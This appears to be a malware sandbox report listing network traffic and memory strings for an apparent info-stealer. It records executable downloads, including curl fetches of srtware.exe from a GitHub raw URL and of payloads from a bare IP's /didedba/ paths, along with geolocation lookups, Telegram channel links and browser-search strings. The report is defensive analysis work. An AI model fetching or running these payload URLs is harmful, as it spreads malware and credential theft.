                    Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 20:09:14 GMTServer: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40Last-Modified: Thu, 21 Nov 2024 21:20:44 GMTETag: "134200-62772d6da8ce1"Accept-Ranges: bytesContent-Length: 1262080Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 4c 15 2a 67 00 00 00 00 00 00 00 00 e0 00 2e 01 0b 01 02 19 00 00 05 00 00 08 00 00 00 00 00 00 84 9d 00 00 00 20 00 00 00 20 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 3c 00 00 04 00 00 00 00 00 00 02 00 60 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 20 00 2f 00 10 02 00 00 00 60 05 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2f 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 20 00 00 00 c8 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 20 00 00 00 20 05 00 00 02 00 00 00 cc 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 20 00 00 00 40 05 00 00 02 00 00 00 ce 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 20 00 00 00 60 05 00 00 04 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 80 29 00 00 80 05 00 00 ba 02 00 00 d4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 64 35 64 63 76 65 77 00 c0 0d 00 00 00 2f 00 00 b4 0d 00 00 8e 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 95 13 2c 72 ee b9 a5 41 ab dd 93 03 5c 04 90 9d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                    Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 20:09:19 GMTServer: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40Last-Modified: Thu, 21 Nov 2024 16:38:24 GMTETag: "124400-6276ee5246017"Accept-Ranges: bytesContent-Length: 1197056Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 df 5e 3f 67 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 02 19 00 56 03 00 00 08 00 00 00 00 00 00 61 15 01 00 00 20 00 00 00 80 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 3b 00 00 04 00 00 00 00 00 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 20 60 2d 00 10 02 00 00 00 c0 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 2d 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 03 00 00 20 00 00 00 c6 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 20 00 00 00 80 03 00 00 02 00 00 00 ca 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 20 00 00 00 a0 03 00 00 02 00 00 00 cc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 20 00 00 00 c0 03 00 00 04 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 80 29 00 00 e0 03 00 00 ba 02 00 00 d2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 73 74 6f 76 66 63 77 00 c0 0d 00 00 60 2d 00 00 b8 0d 00 00 8c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 57 89 cb 21 e9 2a ee aa 15 1c 20 57 98 10 21 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                    Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 20:09:23 GMTServer: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40Last-Modified: Fri, 17 May 2024 19:23:02 GMTETag: "285c00-618ab47b95f4c"Accept-Ranges: bytesContent-Length: 2644992Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 07 00 a5 7e 2a 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 00 00 66 00 00 00 f2 27 00 00 00 00 00 40 11 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 28 00 00 04 00 00 00 00 00 00 02 00 60 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 90 90 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 80 28 00 80 01 00 00 00 00 00 00 00 00 00 00 00 b0 28 00 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 80 00 00 28 00 00 00 10 84 00 00 38 01 00 00 00 00 00 00 00 00 00 00 28 92 00 00 58 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 96 64 00 00 00 10 00 00 00 66 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d8 17 00 00 00 80 00 00 00 18 00 00 00 6a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 50 dc 27 00 00 a0 00 00 00 d2 27 00 00 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 80 01 00 00 00 80 28 00 00 02 00 00 00 54 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 30 30 63 66 67 00 00 10 00 00 00 00 90 28 00 00 02 00 00 00 56 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 10 00 00 00 00 a0 28 00 00 02 00 00 00 58 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 78 00 00 00 00 b0 28 00 00 02 00 00 00 5a 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                    Source: global trafficHTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: Keep-Alive
                    Source: Joe Sandbox ViewIP Address: 185.199.109.133 185.199.109.133
                    Source: Joe Sandbox ViewIP Address: 185.199.109.133 185.199.109.133
                    Source: Joe Sandbox ViewIP Address: 104.26.0.100 104.26.0.100
                    Source: Joe Sandbox ViewASN Name: OTAVANET-ASCZ OTAVANET-ASCZ
                    Source: Joe Sandbox ViewJA3 fingerprint: 74954a0c86284d0d6e1c4efefe92b521
                    Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
                    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                    Source: global trafficHTTP traffic detected: GET /huuuuggga/aaaaa1/refs/heads/main/srtware.exe HTTP/1.1Host: raw.githubusercontent.comUser-Agent: curl/7.83.1Accept: */*
                    Source: global trafficHTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: Keep-Alive
                    Source: global trafficHTTP traffic detected: GET /didedba/abc HTTP/1.1Host: 79.110.49.246User-Agent: curl/7.83.1Accept: */*
                    Source: global trafficHTTP traffic detected: GET /didedba/dddv HTTP/1.1Host: 79.110.49.246User-Agent: curl/7.83.1Accept: */*
                    Source: global trafficHTTP traffic detected: GET /didedba/write HTTP/1.1Host: 79.110.49.246User-Agent: curl/7.83.1Accept: */*
                    Source: global trafficDNS traffic detected: DNS query: raw.githubusercontent.com
                    Source: global trafficDNS traffic detected: DNS query: get.geojs.io
                    Source: curl.exe, 0000000E.00000002.1394377275.0000000002AC0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000E.00000002.1394377275.0000000002AC8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://79.110.49.246/didedba/abc
                    Source: curl.exe, 0000000E.00000002.1394377275.0000000002AC0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://79.110.49.246/didedba/abc-oC:
                    Source: curl.exe, 0000000E.00000002.1394377275.0000000002AC8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://79.110.49.246/didedba/abccej
                    Source: curl.exe, 0000000E.00000002.1394377275.0000000002AC8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://79.110.49.246/didedba/abce
                    Source: curl.exe, 0000000E.00000002.1394377275.0000000002AC8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://79.110.49.246/didedba/abck$
                    Source: curl.exe, 0000000E.00000002.1394377275.0000000002AC8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://79.110.49.246/didedba/abck0
                    Source: curl.exe, 0000000E.00000002.1394377275.0000000002AC8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://79.110.49.246/didedba/abcn
                    Source: curl.exe, 00000010.00000002.1443859445.00000000004C0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://79.110.49.246/didedba/dddv
                    Source: curl.exe, 00000010.00000002.1443859445.00000000004C0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://79.110.49.246/didedba/dddv-oC:
                    Source: curl.exe, 00000010.00000002.1443859445.00000000004C8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://79.110.49.246/didedba/dddv32
                    Source: curl.exe, 00000010.00000002.1443859445.00000000004C8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://79.110.49.246/didedba/dddvK
                    Source: curl.exe, 00000010.00000002.1443859445.00000000004C8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://79.110.49.246/didedba/dddvc
                    Source: curl.exe, 00000010.00000002.1443859445.00000000004C8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://79.110.49.246/didedba/dddvce
                    Source: curl.exe, 00000010.00000002.1443859445.00000000004C8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://79.110.49.246/didedba/dddveW
                    Source: curl.exe, 00000010.00000002.1443859445.00000000004C8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://79.110.49.246/didedba/dddveo
                    Source: curl.exe, 00000010.00000002.1443859445.00000000004C8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://79.110.49.246/didedba/dddves
                    Source: curl.exe, 00000013.00000002.1511983563.00000000030D8000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000013.00000002.1511870515.0000000002EE0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://79.110.49.246/didedba/write
                    Source: curl.exe, 00000013.00000002.1511983563.00000000030D0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://79.110.49.246/didedba/write-oC:
                    Source: curl.exe, 00000013.00000002.1511983563.00000000030D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://79.110.49.246/didedba/writes
                    Source: powershell.exe, 00000008.00000002.1326963673.0000000002ED8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.micro
                    Source: powershell.exe, 0000001D.00000002.1844472674.0000000006DE8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.micros
                    Source: fff.scr, 00000017.00000002.1627355609.00000000051DF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://get.geojs.io
                    Source: fff.scr, 00000017.00000002.1627355609.00000000051DF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://get.geojs.iod
                    Source: powershell.exe, 00000008.00000002.1331519717.0000000005D6A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1721126389.0000000005FE8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1776932795.0000000005817000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.1931775752.0000000005FB4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
                    Source: powershell.exe, 0000001F.00000002.1882121555.00000000050A6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
                    Source: powershell.exe, 00000008.00000002.1327908559.0000000004E56000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1707922266.00000000050D6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1753231348.0000000004906000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1814588649.0000000004516000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.1882121555.00000000050A6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
                    Source: ZOL2mIYAUH.exe, 00000000.00000002.3720014163.00000000047DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1327908559.0000000004D01000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1627355609.0000000005071000.00000004.00000800.00020000.00000000.sdmp, qqq.scr, 00000018.00000002.3715480219.0000000005101000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1707922266.0000000004F81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1753231348.00000000047B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1814588649.00000000043C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.1882121555.0000000004F51000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                    Source: powershell.exe, 00000008.00000002.1327908559.0000000004E56000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1707922266.00000000050D6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1753231348.0000000004906000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1814588649.0000000004516000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.1882121555.00000000050A6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/wsdl/
                    Source: srtware.exe.21.drString found in binary or memory: http://scripts.sil.org/OFL).http://www.typoland.com/designers/Lukasz_Dziedzic/http://www.typoland.co
                    Source: srtware.exe.21.drString found in binary or memory: http://scripts.sil.org/OFLCopyright
                    Source: powershell.exe, 0000001F.00000002.1882121555.00000000050A6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
                    Source: ZOL2mIYAUH.exe, fff.scrString found in binary or memory: http://www.enigmaprotector.com/
                    Source: srtware.exe.21.drString found in binary or memory: http://www.typoland.com/)
                    Source: fff.scr, 00000017.00000002.1630207447.000000000618A000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1630207447.0000000006170000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1630207447.0000000006156000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
                    Source: powershell.exe, 00000008.00000002.1327908559.0000000004D01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1707922266.0000000004F81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1753231348.00000000047B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1814588649.00000000043C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.1882121555.0000000004F51000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore6lB
                    Source: fff.scr, 00000017.00000002.1630207447.000000000618A000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1630207447.0000000006170000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1630207447.0000000006156000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
                    Source: fff.scr, 00000017.00000002.1630207447.000000000618A000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1630207447.0000000006170000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1630207447.0000000006156000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
                    Source: fff.scr, 00000017.00000002.1630207447.000000000618A000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1630207447.0000000006170000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1630207447.0000000006156000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
                    Source: powershell.exe, 0000001F.00000002.1931775752.0000000005FB4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
                    Source: powershell.exe, 0000001F.00000002.1931775752.0000000005FB4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
                    Source: powershell.exe, 0000001F.00000002.1931775752.0000000005FB4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
                    Source: fff.scr, 00000017.00000002.1630207447.000000000618A000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1630207447.0000000006170000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1630207447.0000000006156000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
                    Source: fff.scr, 00000017.00000002.1630207447.000000000618A000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1630207447.0000000006170000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1630207447.0000000006156000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
                    Source: fff.scr, 00000017.00000002.1630207447.000000000618A000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1630207447.0000000006170000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1630207447.0000000006156000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
                    Source: fff.scr, 00000017.00000002.1627355609.00000000051DB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://get.geoj8
                    Source: fff.scr, 00000017.00000002.1627355609.00000000051D7000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1627355609.0000000005071000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://get.geojs.io
                    Source: fff.scr, 00000017.00000002.1627355609.0000000005071000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://get.geojs.io/v1/ip/geo.json
                    Source: powershell.exe, 0000001F.00000002.1882121555.00000000050A6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
                    Source: powershell.exe, 0000001F.00000002.1961955418.00000000077E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://go.micr
                    Source: powershell.exe, 00000008.00000002.1331519717.0000000005D6A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1721126389.0000000005FE8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1776932795.0000000005817000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.1931775752.0000000005FB4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
                    Source: curl.exe, 00000015.00000002.1543978663.0000000002B15000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://raw.githubusercontent.com/huuuuggga/aaaaa1/refs/heads/main/srtware.exe
                    Source: curl.exe, 00000015.00000002.1543877418.0000000002AE0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://raw.githubusercontent.com/huuuuggga/aaaaa1/refs/heads/main/srtware.exe-oC:
                    Source: curl.exe, 00000015.00000003.1543419156.0000000002AF0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://raw.githubusercontent.com/huuuuggga/aaaaa1/refs/heads/main/srtware.exeYv
                    Source: curl.exe, 00000015.00000003.1543397786.0000000002B15000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000015.00000002.1543978663.0000000002B15000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://raw.githubusercontent.com/huuuuggga/aaaaa1/refs/heads/main/srtware.exej
                    Source: fff.scr, 00000017.00000002.1630207447.000000000618A000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1627355609.00000000050EF000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1627355609.0000000005071000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://t.me/
                    Source: fff.scr, 00000017.00000002.1627355609.0000000005273000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1627355609.0000000005129000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1627355609.000000000528D000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1627355609.000000000534E000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1627355609.0000000005071000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1627355609.00000000050D9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://t.me/TheDyer
                    Source: fff.scr, 00000017.00000002.1630207447.000000000618A000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1627355609.00000000050EF000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1627355609.0000000005071000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://t.me/freakcodingspot
                    Source: fff.scr, 00000017.00000002.1627355609.0000000005273000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1627355609.0000000005129000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1627355609.000000000528D000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1627355609.000000000534E000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1627355609.0000000005071000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1627355609.00000000050D9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://t.me/webster480
                    Source: fff.scr, 00000017.00000002.1630207447.000000000618A000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1630207447.0000000006170000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1630207447.0000000006156000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
                    Source: fff.scr, 00000017.00000002.1630207447.000000000618A000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1630207447.0000000006170000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1630207447.0000000006156000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49745 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49745
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49756 -> 443
